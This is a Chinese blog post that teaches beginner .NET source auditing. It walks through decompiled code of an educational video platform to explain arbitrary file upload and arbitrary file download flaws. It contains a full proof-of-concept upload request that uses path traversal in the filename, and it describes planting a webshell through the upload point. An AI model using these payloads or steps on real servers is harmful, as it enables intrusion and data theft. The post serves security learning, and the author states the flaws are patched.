前段时间深情爷给我发了一个Poc,是某教学视频应用云平台的文件上传,故事也从这里展开……
得到Poc后试了一下,一不小心找到了源码(真·纯安装源码),拿到自己电脑上进行一通瞎搞,一头雾水
由于自己之前没接触过.net的审计,于是跟几个师傅学习了一下.net的审计方法,也是拿到了他们的审计报告进行学习,由于这套代码比较简单,也属于是入门级别,于是打算记录下来。
需要注意的是,目前挖出的所有漏洞官方都已修复!请勿用于违法用途,本文仅供学习。
.net是一款可以使用 C#、F# 或 Visual Basic 编写的框架,本意是微软用来对标JAVA的,有关的语言学习可以看看官网:.NET 编程语言 | C#、F# 和 Visual Basic (microsoft.com)
在.net中通常使用C#语言进行编写,通常判断网站是否是.net网站可以看看他的后缀是啥,aspx就是.net的网站,在拿到一份.net源码的时候,我们得了解每个C#文件的作用含义,了解如何进行审计,工具是什么,路由怎么看
用此可看出 dll、aspx、aspx.cs 这三个文件是我们需要去关注的
在一个典型的 ASP.NET Web 应用程序中,.dll、.aspx 和 .aspx.cs 文件通常分布在不同的目录中:
例如,一个简单的目录结构可能如下所示:
/YourWebApp
/bin
YourWebApp.dll
/Pages
Home.aspx
Home.aspx.cs
/App_Code
CommonFunctions.cs
Web.config
在这个例子中:
前面提到 dll 中存在着我们核心的代码内容,那么应该如何查看呢,这里推荐使用一款工具 ILSpy ,这款工具对可以dll文件进行反编译,查看其内部代码内容,也很方便的将内部代码全部导出为正常的 .cs。
这里在左上角的文件导入dll文件即可
通常在我们打开aspx文件时,第一行会是以下这样:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="MyPage.aspx.cs" Inherits="MyWebApp.MyPage" %>
这是一个 ASP.NET Web 页面的指令(Directive),用于在页面中指定一些重要的属性和配置
解析如下:
通过这个指令,ASP.NET 可以正确地处理页面,编译代码文件,然后将其与页面关联起来。这使得在 .aspx 页面中可以使用与 .aspx.cs 文件关联的服务器端代码
在一般的.NET代码中,我们需要特别注意 inherits(继承)部分。它会指向我们需要去找的 dll ,例如前面的示例可能指向的是 MyWebApp.dll ,在MyWebApp.dll中寻找MyPage
POST /Tools/Video/VideoCover.aspx HTTP/1.1
Host: xxx
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insectre-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 1015 7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/107.0.0.0 Safari 537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avifimage/webp,image/apng,*/*;q=0.8,application/signed-exchangev=b3;q=0.9
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;g=0.9
Cookie: ASP.NET_SessionId=pgfnw0patx4kh0jsnpjgzcmq; PrivateKey=f09020eaf656f9cf5d9292d39c296d1c
Connection: close
Content-Type:multipart/form-data;boundary=----WebKitFormBoundaryVBf7Cs8QWsfwC82M
Content-Length: 294
------WebKitFormBoundaryVBf7Cs8QWsfwC82M
Content-Disposition: form-data, name= "file";filename="/../../../AVA.ResourcesPlatform.WebUI/test.aspx"
Content-Type: image/jpeg
<%@Page Language="C#"%>
<%
Response.Write("test");
%>
------WebKitFormBoundaryVBf7Cs8QWsfwC82M--
根据Poc在根目录中 Tools/Video 下找到 VideoPath.aspx
这里 Inherits 指向的是 AVA.ResourcesPlatform.AdminUI.Services.WeikeCutOut.UploadFile 类,Inherits 属性告诉 ASP.NET 这个页面将使用指定类中的代码。这里也说了UploadFile 页面继承自 AVA.ResourcesPlatform.AdminUI.Services.WeikeCutOut.UploadFile 类
所以我们去 bin 目录下找到 AVA.ResourcesPlatform.AdminUI.dll
把这个dll直接丢到ILSpy进行反编译,在左侧栏中找到对应的UploadFile
把代码丢出来看看为什么会存在文件上传
using System;
using System.IO;
using System.Web;
using System.Web.UI;
public class UploadFile : Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (base.Request.Files.Count <= 0)
{
return;
}
try
{
HttpPostedFile httpPostedFile = base.Request.Files[0];
string fileName = httpPostedFile.FileName;
string text = base.Request.QueryString["VideoGuid"];
string text2 = base.Server.MapPath("~/Upload/Video/" + text + "/");
if (!Directory.Exists(text2))
{
Directory.CreateDirectory(text2);
}
text2 += httpPostedFile.FileName;
httpPostedFile.SaveAs(text2);
base.Response.Clear();
base.Response.Write("Success");
}
catch (Exception ex)
{
base.Response.Clear();
base.Response.Write(ex.Message);
}
}
}
首先开头导入四个命名空间
有了 using System.IO; 语句,就可以直接使用 Directory 、 File 等类,而不需要写成 System.IO.Directory 、 System.IO.File。这四个库是.NET Framework的一部分,属于是自带的(.NET Framework是由Microsoft开发的一个面向Windows操作系统的软件开发框架,包含了大量的类库和运行时环境,用于支持和简化Windows应用程序和Web应用程序的开发。这个框架在Windows操作系统中是默认安装的。)
然后使用了 Page_Load 方法,这个方法是当页面被加载时触发的事件,该方法先使用
if (base.Request.Files.Count <= 0)
{
return;
}
去判断是否有文件被上传,如果没有文件上传则直接返回
当有文件上传时,会对上传的文件进行处理
获取第一个上传的文件:
HttpPostedFile httpPostedFile = base.Request.Files[0];
从上传的文件中获取文件名:
string fileName = httpPostedFile.FileName;
从查询字符串中获取名为 “VideoGuid” 的参数:
string text = base.Request.QueryString["VideoGuid"];
进行目录拼接,然后判断文件夹是否存在,不存在就创建一个
string text2 = base.Server.MapPath("~/Upload/Video/" + text + "/");
if (!Directory.Exists(text2))
{
Directory.CreateDirectory(text2);
}
最后通过 text2 与Filename进行拼接成文件路径保存,成功返回Success
text2 += httpPostedFile.FileName;
httpPostedFile.SaveAs(text2);
base.Response.Clear();
base.Response.Write("Success");
到这里也算简单分析了一次,不提后续如何利用
至于这里为什么要跨目录进行上传,不能直接上传,是因为,这套系统的目录结构是
xxx.WebUI
xxx.AdminUI /我们这次分析的dll在这个目录下
要上传到前端得需要跨目录穿
所以总结一下漏洞成因是因为,文件上传未作限制,文件Filename进行拼接的时候未作过滤,导致运行../存在进行跨目录穿🐎
将所有的dll通过ILSpy反编译后另存这些cs,文件上传的审计方法是通过搜索关键词进行快速定位,问了一下a佬审计的时候看哪些关键词,a佬马上丢两个常用的文件上传关键词 streamWriter.Write 和 SaveAs
于是直接快速定位了一个 AVA.ResourcesPlatform.AdminUI.Services.WeikeCutOut.UploadFile
通过逆向搜索看看谁引用 AVA.ResourcesPlatform.AdminUI.Services.WeikeCutOut.UploadFile
可以看到是 /Services/Convert/UploadFile.aspx
简单分析一下
// AVA.ResourcesPlatform.AdminUI, Version=20.17.5.30, Culture=neutral, PublicKeyToken=null
// AVA.ResourcesPlatform.AdminUI.Services.WeikeCutOut.UploadFile
using System;
using System.IO;
using System.Web;
using System.Web.UI;
public class UploadFile : Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (base.Request.Files.Count <= 0)
{
return;
}
try
{
HttpPostedFile httpPostedFile = base.Request.Files[0];
string fileName = httpPostedFile.FileName;
string text = base.Request.QueryString["VideoGuid"];
string text2 = base.Server.MapPath("~/Upload/Video/" + text + "/");
if (!Directory.Exists(text2))
{
Directory.CreateDirectory(text2);
}
text2 += httpPostedFile.FileName;
httpPostedFile.SaveAs(text2);
base.Response.Clear();
base.Response.Write("Success");
}
catch (Exception ex)
{
base.Response.Clear();
base.Response.Write(ex.Message);
}
}
}
这段代码和前面的Poc是一样的,保存的时候会顺带创建一个文件夹
但是在利用的时候发现上传aspx失败,换后缀asp、cer会出现403,于是利用创建文件夹的特性,去创文件夹穿🐎
这时候访问显示500
蚁剑却可连接成功…不放图了
这里也是疑惑了一下,为什么传cer也可以被解析
百度一下,发现是 IIS6.0文件解析缺陷(asa,cer,cdx)
默认情况下,IIS对其后缀名映射到了asp.dll,asp.dll又是ASP脚本的解析文件,所以能够正常解析
后面又用同样的方法去找了五个文件上传点,也是成功复现了两个
因为代码原理一样就不重复举例了
审计任意文件下载有个关键函数是 Response.BinaryWrite 直接全局搜
发现 AVA.ResourcesPlatform.WebUI.Download 下有这个函数
把代码脱下来分析一下,看看有没有过滤
// AVA.ResourcesPlatform.WebUI, Version=20.17.5.30, Culture=neutral, PublicKeyToken=null
// AVA.ResourcesPlatform.WebUI.Download
using System;
using System.IO;
using System.Threading;
using System.Web;
using System.Web.UI;
using AVA.ResourcesPlatform.Config;
using AVA.ResourcesPlatform.Factory;
using AVA.ResourcesPlatform.Language;
using AVA.ResourcesPlatform.Model.Pub;
public class Download : Page
{
protected void Page_Load(object sender, EventArgs e)
{
string text = base.Request.GetFormValue("File").UrlDecode();
if (string.IsNullOrEmpty(text))
{
throw new Exception(LanguageEnum.未指明下载文件.Define());
}
string text2 = base.Server.MapPath("~" + text);
if (!File.Exists(text2))
{
throw new Exception(LanguageEnum.文件不存在.Define());
}
FileInfo fileInfo = new FileInfo(text2);
Domain domain = CreateInstance.DomainDao.Get(CookieGroupConfig.DomainGuid);
if (!ResponseFile(Page.Request, Page.Response, fileInfo.Name, fileInfo.FullName, domain.DownloadSpeed * 1024 * 1024))
{
base.Response.Write(LanguageEnum.下载文件出错.Define());
}
else
{
Page.Response.End();
}
}
public bool ResponseFile(HttpRequest hRequest, HttpResponse hResponse, string hfileName, string hfullPath, long hspeed)
{
try
{
Page.Response.Clear();
FileStream fileStream = new FileStream(hfullPath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
BinaryReader binaryReader = new BinaryReader(fileStream);
try
{
hResponse.AddHeader("Accept-Ranges", "bytes");
hResponse.Buffer = false;
long length = fileStream.Length;
long num = 0L;
int num2 = 102400;
int millisecondsTimeout = (int)Math.Floor(1000.0 * (double)num2 / (double)hspeed) + 1;
if (hRequest.Headers["Range"] != null)
{
hResponse.StatusCode = 206;
string[] array = hRequest.Headers["Range"].Split('=', '-');
num = Convert.ToInt64(array[1]);
}
hResponse.AddHeader("Content-Length", (length - num).ToString());
if (num != 0)
{
hResponse.AddHeader("Content-Range", $" bytes {num}-{length - 1}/{length}");
}
hResponse.AddHeader("Connection", "Keep-Alive");
string text = null;
string text2 = Context.Request.UserAgent.ToUpper();
text = ((text2.Contains("MS") && text2.Contains("IE")) ? HttpUtility.UrlEncode(hfileName) : ((!text2.Contains("FIREFOX")) ? HttpUtility.UrlEncode(hfileName) : ("\"" + hfileName + "\"")));
base.Response.ContentType = "application/octet-stream ";
base.Response.AddHeader("Content-Disposition ", $"attachment;filename={text}");
binaryReader.BaseStream.Seek(num, SeekOrigin.Begin);
int num3 = (int)Math.Floor(Convert.ToDouble((length - num) / num2)) + 1;
for (int i = 0; i < num3; i++)
{
if (hResponse.IsClientConnected)
{
hResponse.BinaryWrite(binaryReader.ReadBytes(num2));
Thread.Sleep(millisecondsTimeout);
}
else
{
i = num3;
}
}
}
catch
{
return false;
}
finally
{
binaryReader.Close();
fileStream.Close();
}
}
catch
{
return false;
}
return true;
}
}
开局先用 Page_Load 方法去获取参数 File 中的值,并且对其URL解码:
string text = base.Request.GetFormValue("File").UrlDecode();
然后检测是否获取文件名,没有就抛出异常,然后用 text2 将虚拟路径转化为物理路径,去检测文件是否存在,不存在同样抛出异常:
if (string.IsNullOrEmpty(text))
{
throw new Exception(LanguageEnum.未指明下载文件.Define());
}
string text2 = base.Server.MapPath("~" + text);
if (!File.Exists(text2))
{
throw new Exception(LanguageEnum.文件不存在.Define());
}
获取文件信息以及域信息:
FileInfo fileInfo = new FileInfo(text2);
Domain domain = CreateInstance.DomainDao.Get(CookieGroupConfig.DomainGuid);
接着调用 ResponseFile 方法去下载文件了
if (!ResponseFile(Page.Request, Page.Response, fileInfo.Name, fileInfo.FullName, domain.DownloadSpeed * 1024 * 1024))
很明显啊,这里对传入的 File 没做任何过滤,直接拼接就可以实现任意文件下载了
这里的 ResponseFile 也是常规的文件下载方法,这里不做分析
这套源码还是比较简单的,几乎没做任何过滤,主要入门还是得去了解反编译工具、控制器在哪和关键函数定位了
据说这套源码其他师傅还审出了SSRF、未授权访问等,其他的等有空再去审审学习一下吧。
Hehanzzz 2023年12月25日 夜